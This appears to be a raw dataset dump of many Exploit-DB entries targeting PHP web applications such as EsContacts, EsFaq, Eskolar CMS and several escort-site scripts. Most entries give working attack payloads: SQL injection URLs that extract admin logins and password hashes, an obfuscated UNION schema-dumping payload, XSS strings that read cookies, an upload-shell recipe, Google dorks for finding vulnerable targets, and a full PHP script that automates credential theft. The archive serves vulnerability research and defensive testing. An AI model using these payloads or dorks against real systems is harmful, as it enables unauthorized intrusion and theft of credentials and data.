deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10694
Description: ES Simple Uploader 1.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : ES Simple Uploader v 1.1 Upload Shell Vulnerability                     |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : ES Simple Uploader v 1.1 (Powered by EnergyScripts) !talian Script      |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : Upload Shell                                                            | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| $upload_dirs = array(
|  "images" => array(
|      "dir"     =>"uploads/images/",
|      "name"    =>"Images folder",
|      "password"=>"images",
|  ),
|  "docs" => array(
|      "dir"     =>"uploads/docs/",
|      "name"    =>"Docs",
|      "password"=>"docs",
|  ),
|  "common" => array(
|      "dir"     =>"uploads/common/",
|      "name"    =>"Common files",
|     "password"=>"common",
| ),
| );
|
| 1- http://server/script/index.php * loockup 4 password
| 
| 2- http://server/script/uploads/images/Ev!l.php * 2find it
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #8840
Description: Escon SupportPortal Pro 3.0 - 'tid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-06-01
Author: OzX

Exploit:
Autor : OzX
Sitio : Foro.Undersecurity.net

Cms :  Escon SupportPortal Pro
Version : 3.0
Sitio: http://www.e-supportportal.com

Tipo Vulnz : Blind Sql Injection
Archivo : forum.php
Parametro Vulnerable 1 : cat
Parametro Vulnerable 2 : tid

Source Vulnz (forum.php):

60 -    if($_REQUEST["a"]=="rss"){
61 -        $cat=$_REQUEST["cat"];
62 -        $tid=$_REQUEST["tid"];
63 -        header('Content-type: application/rss+xml');
64 - 
65 -      $app_url=trim(dlookup("app_url","site","sid=$sid"),"/")."/";
66 -
67 -
68 -  if(isset($_REQUEST['tid']))
69 -     $r=dlookup_row("select * from fr where sid=$sid and id=$tid");
70 -  else {$r=dlookup_row("select * from fr_cat where sid=$sid and id=$cat");$tid=0;}
71 -  echo "<?xml version=\"1.0\" ?>";


Ejemplo:
http://www.site.comforum.php?a=rss&cat=[SQLI]&tid=[SQLI]

Otros:

Usuario :
ttp://www.e-supportportal.com/app/forum.php?cat=6&tid=33+and+(select+uname+from+usr+limit+0,1)

PassWord :
http://www.e-supportportal.com/app/forum.php?cat=6&tid=33+and+(select+upwd+from+usr+limit+0,1)

Gretz :
C1c4tr1z(voodoo-labs.org),Nobody,1995,Lix (arrivalsec.wordpress.com),NanoNRoses,Codebreak(?),Nork And All Friends of Undersecurity.net.


Site Referer : http://foro.undersecurity.net/read.php?16,1971,1971#msg-1971

# milw0rm.com [2009-06-01]
Exploit-DB #31660
Description: EsContacts 1.0 - 'add_groupe.php?msg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-17
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28825/info

EsContacts is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/EScontacts_path/EsContacts/add_groupe.php?msg=[XSS]
Exploit-DB #31661
Description: EsContacts 1.0 - 'contacts.php?msg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-17
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28825/info
 
EsContacts is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/EScontacts_path/EsContacts/contacts.php?msg=[XSS]
Exploit-DB #31662
Description: EsContacts 1.0 - 'groupes.php?msg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-17
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28825/info
  
EsContacts is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/EScontacts_path/EsContacts/groupes.php?msg=[XSS]
Exploit-DB #31663
Description: EsContacts 1.0 - 'importer.php?msg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-17
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28825/info
   
EsContacts is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.
   
http://www.example.com/EScontacts_path/EsContacts/importer.php?msg=[XSS]
Exploit-DB #31664
Description: EsContacts 1.0 - 'login.php?msg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-17
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28825/info
    
EsContacts is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/EScontacts_path/EsContacts/login.php?msg=[XSS]
Exploit-DB #31665
Description: EsContacts 1.0 - 'search.php?msg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-17
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28825/info
     
EsContacts is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
     
Attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/EScontacts_path/EsContacts/search.php?msg=[XSS]
Exploit-DB #16159
Description: Escort Agency CMS - Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-02-12
Author: NoNameMT

Exploit:
# Exploit Title: Escort Agency CMS Blind SQL Injection Vunerability
# Google Dork: "Powered by Escort agency CMS - Escort agency webdesign"
# Platform: php, webapp
# Date: 10.02.2011
# Author: NoNameMT
# Software Link:
http://www.escortwebsitedesign.co.uk/escort-agency-cms/index.php
# Price: 299 £ per month
# Tested on: Windows 7
# Mail: nonamemt@gmail.com
# Homepage: http://nonamemt.us

# Exploit:
http://localhost/agency5/Alexa,509+and+1=1--+ //True
http://localhost/agency5/Alexa,509+and+1=0--+ //False

# Greetings:
4004-security-project.com, J0hn.X3r, TamCore, bursali, theeddy42,
Nightmare_FH
Exploit-DB #16197
Description: Escort Directory CMS - SQL Injection
Type: webapps
Platform: php
Date: 2011-02-19
Author: NoNameMT

Exploit:
# Exploit Title: Escort Directory CMS SQL Injection Vunerability
# Google Dork: "Powered By Escort Web design"
# Platform: php
# Date: 09.02.2011
# Author: NoNameMT
# Software Link: http://www.escortwebsitedesign.co.uk/directory-design/
# Price: 750 €
# Tested on: Windows 7
# Mail: nonamemt@gmail.com
# Homepage: http://nonamemt.us

# Exploit:
http://localhost/main/HotBrunette,-3+union+select+1,2,version(),4,5,6,7--+

Maybe there a diffrent number of columns

# Greetings:
J0hn.X3r, 4004-security-project.com, TamCore, bursali, theeddy42,
Nightmare_FH
Exploit-DB #42635
Description: Escort Marketplace 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Escort Website Script 1.0 - SQL Injection
# Dork: N/A
# Date: 09.09.2017
# Vendor Homepage: http://scriptzee.com/
# Software Link: http://scriptzee.com/escort-website
# Demo: http://escortwebsite.scriptzee.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept:
# 
# http://localhost/[PATH]/prof_detils.html?escort=[SQL]
# 
# [PII_REDACTED]'+/*!11112UnIoN*/+(/*!11112SelEcT*/0x283129,0x283229,0x283329,0x283429,(Select+export_set(5,@:=0,(/*!11112SelEcT*/+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629)--+-
# 
# http://localhost/[PATH]/ajax_rating.php?escort=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #16117
Description: Escort und Begleitservice Agentur Script - SQL Injection
Type: webapps
Platform: php
Date: 2011-02-05
Author: NoNameMT

Exploit:
# Exploit Title: Escort und Begleitservice Agentur Script SQL Injection
Vunerability
# Google Dork: inurl:show_profile.php?custid=
# Platform: php, webapp
# Date: 05.02.2011
# Author: NoNameMT
# Software Link:
http://www.media-products.de/escort-service-begleitagentur-v10-p-211.html
# Price: 22,50 €
# Version: 1.0
# Tested on: Windows 7
# Mail: nonamemt@gmail.com
# Homepage: http://nonamemt.us

# Exploit:
http://localhost/show_profile.php?custid=1+and+1=0+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
,
28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66--+

Maybe there a diffrent number of columns

# Greetings:
J0hn.X3r, 4004-security-project.com, TamCore, bursali, theeddy42

-- 
Blog: www.nonamemt.us
Twitter: NoNameMT <http://twitter.com/NoNameMT>
Exploit-DB #35315
Description: Escortservice 1.0 - 'custid' SQL Injection
Type: webapps
Platform: php
Date: 2011-02-07
Author: NoNameMT

Exploit:
source: https://www.securityfocus.com/bid/46171/info

Escortservice is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Escortservice 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/show_profile.php?custid=1+and+1=0+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66--+
Exploit-DB #6383
Description: EsFaq 2.0 - 'idcat' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-05
Author: SuB-ZeRo

Exploit:
|___________________________________________________|
|
| EsFaq Remote Sql Injection Exploit
|
|___________________________________________________
|---------------------SuB-ZeRo----------------------|
|
|    Author: SuB-ZeRo
|
|    Home : www.dz-security.com
|
|    email:  FbH@hotmail.com
|
|
|___________________________________________________
|                                                   |
|
| script :http://editeurscripts.com/ressources/scripts-php/dl.php?idscript=5
|
| DorK   : inurl:questions.php?idcat
|___________________________________________________|
Exploit:
________
 
www.[target].com/Script/questions.php?idcat=10 UNION SELECT 1,concat(login,0x3a,password),3,4,5,6,7,8,9 FROM admin_users--
 
 

L!VE DEMO:
_________
http://demo.editeurscripts.com/EsFaq/questions.php?idcat=10 UNION SELECT 1,concat(login,0x3a,password),3,4,5,6,7,8,9 FROM admin_users--

____________
 
____________________________( Greetz )_________________________________
|
|    All members of the Forum  www.dz-security.com and www.no-exploit.com
|
| My friends : HiSoK4| x.CJP.x | bibi-infi | ThE BuTcHeR | charaf
| 
|  and all algeria hackers and all mouslimme
|__________________________ramadan karim all mouslimme____________________________________________

# milw0rm.com [2008-09-05]
Exploit-DB #3806
Description: EsForum 3.0 - 'forum.php?idsalon' SQL Injection
Type: webapps
Platform: php
Date: 2007-04-26
Author: ilker Kandemir

Exploit:
-------------------------------------------------------------------------------------------------------------------
AYYILDIZ.ORG PreSents...


Script: EsForum 3.0
Script Download: http://www.editeurscripts.com/scripts/dl-esforum-3.html
Contact: ilker Kandemir <ilkerkandemir[at]mynet.com>

info:
*/  MEFISTO Begins. */

-------------------------------------------------------------------------------------------------------------------
Exploit:

forum.php?idsalon='/**/UNION/**/SELECT/**/0,1,2,3,4,user_password,6/**/FROM/**/esforum_users%20where%20user_id=1/*

-------------------------------------------------------------------------------------------------------------------


Tnx:H0tturk,Dr.Max Virus,Gencnesil,CodeR,Ajann
Special Tnx: AYYILDIZ.ORG

# milw0rm.com [2007-04-26]
Exploit-DB #35874
Description: Eshop Manager - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-06-22
Author: Number 7

Exploit:
source: https://www.securityfocus.com/bid/48391/info

Eshop Manager is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/path/catalogue.php?id_shop=7[SQLI]
http://www.example.com/path/article.php?id_article=7[SQLI]
http://www.example.com/path/banniere.php?id_article=7[SQLI]
http://www.example.com/path/detail_news.php?id_article=7[SQLI]
http://www.example.com/path/detail_produit.php?id_shop=3&ref=200308G[SQLI]
Exploit-DB #2417
Description: Eskolar CMS 0.9.0.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-09-22
Author: HACKERS PAL

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
/*
/* Eskolar CMS Remote sql injection exploit
/*            By : HACKERS PAL
/*             WwW.SoQoR.NeT
*/
print_r('
/**********************************************/
/* Eskolar CMS Remote sql injection exploit   */
/*     by HACKERS PAL <security@soqor.net>    */
/*         site: http://www.soqor.net         */');

if ($argc<2) {
	print_r('
/* --                                         */
/* Usage: php '.$argv[0].' host
/* Example:                                   */
/*    php '.$argv[0].' http://localhost/eskolar/
/**********************************************/
');
	die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$url=$argv[1];
$exploit="/index.php?gr_1_id=0&gr_2_id=0&gr_3_id=1&doc_id=10%20union%20select%201,2,3,4,5,6,7,8,password,10,11,12,13,14,15,16,user,18,19,20,21,22,23,24,25,26%20FROM%20esa_admin_user/*";
$page=$url.$exploit;

Function get_page($url)
{
	if(function_exists("file_get_contents"))
	{
		$contents = file_get_contents($url);
	}
	else
	{
		$fp=fopen("$url","r");
		while($line=fread($fp,1024))
		{
			$contents=$contents.$line;
		}
	}
	return $contents;
}

$i=0;

function get($var)
{
	GLOBAL $i;
	$var[1]=trim($var[1]);
	if($i==0)
	{
		Echo "\n[+] User Name : ".$var[1];
		$i++;
	}
	else
	{
		Echo "\n[+] Pass Word : ".$var[1];
	}
}

$page = get_page($page);

if(!preg_match('/\<tr bgcolor=\'#FF0000\'><td><div align=\'center\'>(.+?)<\/div><\/td><\/tr>/is',$page)||!preg_match('/\<td><a href=\"(.+?)\" target=\"_blank\">(.+?)<\/a> <\/td>/is',$page))
{
	Die("\n[-] Exploit Failed\n/* Visit us : WwW.SoQoR.NeT                   */\n/**********************************************/");
}

preg_replace_callback('/\<tr bgcolor=\'#FF0000\'><td><div align=\'center\'>(.+?)<\/div><\/td><\/tr>/is','get',$page);
preg_replace_callback('/\<td><a href=\"(.+?)\" target=\"_blank\">(.+?)<\/a> <\/td>/is','get',$page);
Die("\n/*       Visit us : WwW.SoQoR.NeT             */\n/**********************************************/");
?>

# milw0rm.com [2006-09-22]
Exploit-DB #25278
Description: ESMI PayPal StoreFront 1.7 - 'pages.php?idpages' SQL Injection
Type: webapps
Platform: php
Date: 2005-03-26
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/12903/info

ESMI PayPal Storefront is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in as SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/hv/ecdis/pages.php?idpages='SQLINJECTION
Exploit-DB #25279
Description: ESMI PayPal StoreFront 1.7 - 'products1.php?id2' SQL Injection
Type: webapps
Platform: php
Date: 2005-03-26
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/12903/info
 
ESMI PayPal Storefront is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in as SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/hv/ecdis/products1.php?id=6&id2='SQLINJECTION&subcat=Asus&p=products1
Exploit-DB #25280
Description: ESMI PayPal StoreFront 1.7 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-03-26
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/12904/info

ESMI PayPal Storefrom is affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/hv/ecdis/products1h.php?id=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&id2=10&subcat=Asus&p=products1
Exploit-DB #11382
Description: eSmile Script - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-10
Author: AtT4CKxT3rR0r1ST

Exploit:
eSmile (index.php) Sql Injection Vulnerability
==============================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Team           : Sec Attack Team
.:. Home           : www.sec-attack.com/vb
.:. Script         : eSmile
.:. Bug Type       : Sql Injection[Mysql]
.:. Dork           : "Powered by: eSmile"

####################################################################

===[ Exploit ]===

www.site.com/index.php?do=show&cid=null[Sql Injection]

www.site.com/index.php?do=show&cid=null'/**/and/**/1=2/**/union/**/select/**/111,222,333,444,555,CONCAT_WS(CHAR(32,58,32),user(),database(),version())-- -
www.site.com/index.php?do=show&cid=null'/**/and/**/1=2/**/union/**/select/**/111,222,333,444,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),666-- -

T0 Bypass Not Acceptable


www.site.com/index.php?do=show&cid=-NULL'/**/UNION/**/ALL/**/SELECT/**/111,222,333,444,555,CONCAT_WS(CHAR(32,58,32),user(),database(),version())-- -
Exploit-DB #14206
Description: Esoftpro Online Contact Manager - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-04
Author: L0rd CrusAd3r

Exploit:
Exploit Title: Esoftpro Online Contact Manager Multiple Vulnerability
Vendor url:http://www.esoftpro.com/
Version:3
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Published: 2010-07-4
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
Sai, KD, M4n0j.
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

Online Contact Manager (formerly known as EContact PRO) is an ultimate
online database system that allows you to store and retrieve contact
information anywhere - anytime! You'll also be able to easily send emails to
contacts with the built-in email client. Online Contact Manager features
Sorting, Mass Emails, Group Support, MS Outlook Synchronization, Birthday
Reminder, Data Export (CSV/TAB/HTML), Preference Control, Full Data
Manipulation Interfaces, 30+ Customizable Fields and much more. There is
also specially designed PDA interface allows you to use Online Contact
Manager through your PDA/Cell.

With Online Contact Manager :-

    * Your company can store, share and retrieve all employees info in one
centralized database
    * You can retrieve clients information while you are not in office
    * You will remember all your friends' birthday
    * Your organization or community members can retrieve other memebers'
information.
    * You can send emails to your friends no matter what computer you are
using.
    * You can export data into CSV (for opening with MS Excel), HTML (for
publishing as web pages) and TXT (for importing to all kinds of databases)
for  other applications like Outlook Express, MS Excel and FileMaker etc.
    * You can send emails to All Contacts or to a Particular Group of
Contacts with One Mouse Click. (Emails will be sent out separately for each
recipient by the system automatically)

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQL Vulnerability

DEMO URL:

http://server/OCM/view.php?id=[sqli]

*XSS Vulnerability

DEMO URL :

http://server/OCM/view.php?id=[xss]

*HTML Injection

DEMO URL:

http://server/OCM/view.php?id=[html]

# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r